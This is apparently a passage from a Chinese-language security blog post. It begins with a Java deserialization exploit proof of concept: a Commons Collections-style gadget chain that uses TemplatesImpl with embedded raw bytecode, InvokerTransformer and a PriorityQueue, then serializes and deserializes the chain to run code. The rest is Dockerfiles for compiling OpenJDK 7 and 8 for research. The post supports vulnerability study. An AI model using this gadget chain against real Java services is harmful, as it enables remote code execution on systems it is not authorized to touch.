0, 5, 0, 1, 0, 6, 0, 0, 0, 43, 0, 0, 0, 1, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 1, 0, 9, 0, 45, 0, 0, 0, 1, 0, 12, 0, 13, 0, 2, 0, 6, 0, 0, 0, 63, 0, 0, 0, 3, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 13, 0, 8, 0, 0, 0, 32, 0, 3, 0, 0, 0, 1, 0, 9, 0, 45, 0, 0, 0, 0, 0, 1, 0, 14, 0, 15, 0, 1, 0, 0, 0, 1, 0, 16, 0, 17, 0, 2, 0, 18, 0, 0, 0, 4, 0, 1, 0, 19, 0, 1, 0, 12, 0, 20, 0, 2, 0, 6, 0, 0, 0, 73, 0, 0, 0, 4, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 16, 0, 8, 0, 0, 0, 42, 0, 4, 0, 0, 0, 1, 0, 9, 0, 45, 0, 0, 0, 0, 0, 1, 0, 14, 0, 15, 0, 1, 0, 0, 0, 1, 0, 21, 0, 22, 0, 2, 0, 0, 0, 1, 0, 23, 0, 24, 0, 3, 0, 18, 0, 0, 0, 4, 0, 1, 0, 19, 0, 8, 0, 31, 0, 5, 0, 1, 0, 6, 0, 0, 0, 22, 0, 2, 0, 0, 0, 0, 0, 10, -72, 0, 37, 18, 39, -74, 0, 43, 87, -79, 0, 0, 0, 0, 0, 1, 0, 25, 0, 0, 0, 2, 0, 26};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{byteArray});
setFieldValue(templatesImpl, "_class", null);
setFieldValue(templatesImpl, "_name", "not null");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
setFieldValue(transformer, "iMethodName", "newTransformer");

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue priorityQueue = new PriorityQueue();
setFieldValue(priorityQueue, "comparator", transformingComparator);
setFieldValue(priorityQueue, "size", 2);
setFieldValue(priorityQueue, "queue", new Object[]{ null, templatesImpl });

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(priorityQueue);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
ois.readObject();
ois.close();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

Dockerfiles for OpenJDK compiling

对于jdk7-b147,其Dockerfile如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
FROM ubuntu:16.04

ENV LANG=C ALT_BOOTDIR=/usr/local/lib/jdk1.6.0_45 \
ALLOW_DOWNLOADS=true USE_PRECOMPILED_HEADER=true \
ARCH_DATA_MODEL=64 HOTSPOT_BUILD_JOB=4 \
ALT_PARALLEL_COMPILE_JOBS=4 SKIP_DEBUG_BUILD=true \
# SKIP_FASTDEBUG_BUILD=true DEBUG_NAME=debug \
ALT_OUTPUTDIR=/home/jdk-jdk7-b147/build \
ALT_DROPS_DIR=/home/jdk-jdk7-b147/drop \
DISABLE_HOTSPOT_OS_VERSION_CHECK=ok

RUN sed -i s@/archive.ubuntu.com/@/mirrors.tuna.tsinghua.edu.cn/@g /etc/apt/sources.list \
&& apt update \
&& DEBIAN_FRONTEND="noninteractive" TZ="America/New_York" apt install -y build-essential \
zip libx11-dev libxext-dev libxrender-dev libxtst-dev libxt-dev \
libcups2-dev libfontconfig1-dev libasound2-dev ant gawk cpio X11* \
git wget \
&& apt clean

RUN cd /home \
&& wget https://github.com/openjdk/jdk/archive/refs/tags/jdk7-b147.tar.gz \
&& tar xvf jdk7-b147.tar.gz \
&& rm jdk7-b147.tar.gz

WORKDIR /home/jdk-jdk7-b147

RUN mkdir drop && cd drop \
&& wget http://download.java.net/jaxp/1.4.5/jaxp145_01.zip \
&& wget http://download.java.net/glassfish/components/jax-ws/openjdk/jdk7/jdk7-jaxws2_2_4-b03-2011_05_27.zip \
&& wget https://netix.dl.sourceforge.net/project/jdk7src/input-archives/jdk7-jaf-2010_08_19.zip

RUN cd /usr/local/lib \
&& wget https://repo.huaweicloud.com/java/jdk/6u45-b06/jdk-6u45-linux-x64.bin \
&& chmod +x jdk-6u45-linux-x64.bin \
&& ./jdk-6u45-linux-x64.bin

RUN sed -i 's/WARNINGS_ARE_ERRORS = -Werror/WARNINGS_ARE_ERRORS = -Wno-error/g' hotspot/make/linux/makefiles/gcc.make \
&& sed -i 's/-mimpure-text//g' jdk/make/common/shared/Compiler-gcc.gmk \
&& sed -i 's/200/201/g' jdk/src/share/classes/java/util/CurrencyData.properties \
&& sed -i 's/LDFLAGS += -lasound/OTHER_LDLIBS += -lasound/g' jdk/make/javax/sound/jsoundalsa/Makefile \
&& unset CLASSPATH && unset JAVA_HOME

RUN make all

# docker build -t compilejdk:1.7 .
# docker run --rm --name compiledjdk1.7 -itd compilejdk:1.7
# docker cp compiledjdk1.7:/home/jdk-jdk7-b147/build jdk1.7compiled
# docker cp compiledjdk1.7:/home/jdk-jdk7-b147/jdk/src/share/classes jdk1.7compiled/srcode # 这里是复制源码
# docker stop compiledjdk1.7
# docker rmi compilejdk:1.7

对于jdk8u66-b36版本,其Dockerfile如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
FROM ubuntu:16.04

ENV LANG=C ALT_BOOTDIR=/usr/local/lib/java-se-7u75-ri \
ALLOW_DOWNLOADS=true USE_PRECOMPILED_HEADER=true \
ARCH_DATA_MODEL=64 HOTSPOT_BUILD_JOB=4 \
ALT_PARALLEL_COMPILE_JOBS=4 SKIP_DEBUG_BUILD=true \
ALT_OUTPUTDIR=/home/jdk8u-jdk8u66-b36/build \
DISABLE_HOTSPOT_OS_VERSION_CHECK=ok

RUN sed -i s@/archive.ubuntu.com/@/mirrors.tuna.tsinghua.edu.cn/@g /etc/apt/sources.list \
&& apt update \
&& DEBIAN_FRONTEND="noninteractive" TZ="America/New_York" apt install -y build-essential \
zip libx11-dev libxext-dev libxrender-dev libxtst-dev libxt-dev \
libcups2-dev libfontconfig1-dev libasound2-dev ant gawk cpio X11* \
git wget file \
&& apt clean

RUN cd /opt && wget http://ftp.gnu.org/gnu/make/make-3.81.tar.gz \
&& tar -zxvf make-3.81.tar.gz && cd make-3.81 && bash configure -prefix=/usr \
&& make && make install && rm -rf /opt/*

RUN cd /usr/local/lib \
&& wget https://download.java.net/openjdk/jdk7u75/ri/openjdk-7u75-b13-linux-x64-18_dec_2014.tar.gz \
&& tar xvf openjdk-7u75-b13-linux-x64-18_dec_2014.tar.gz \
&& rm openjdk-7u75-b13-linux-x64-18_dec_2014.tar.gz \
&& unset CLASSPATH && unset JAVA_HOME

RUN cd /home \
&& wget https://github.com/openjdk/jdk8u/archive/refs/tags/jdk8u66-b36.tar.gz \
&& tar xvf jdk8u66-b36.tar.gz \
&& rm jdk8u66-b36.tar.gz

WORKDIR /home/jdk8u-jdk8u66-b36

RUN bash ./configure --with-debug-level=slowdebug --with-target-bits=64 --with-freetype-include=/usr/include/freetype2 --with-freetype-lib=/usr/lib/x86_64-linux-gnu --with-boot-jdk=/usr/local/lib/java-se-7u75-ri \
&& make images

# docker build -t compilejdk:1.8 .
# docker run --rm --name compiledjdk1.8 -itd compilejdk:1.8
# docker cp compiledjdk1.8:/home/jdk8u-jdk8u66-b36/build/linux-x86_64-normal-server-slowdebug/jdk jdk1.8compiled
# docker cp compiledjdk1.8:/home/jdk8u-jdk8u66-b36/jdk/src/share/classes jdk1.8compiled/srcode # 这里是复制源码
# docker stop compiledjdk1.8
# docker rmi compilejdk:1.8

反正其他啥版本只要随手改改对应的版本号就好了,但请注意不要修改Dockerfile中的Boot JDK。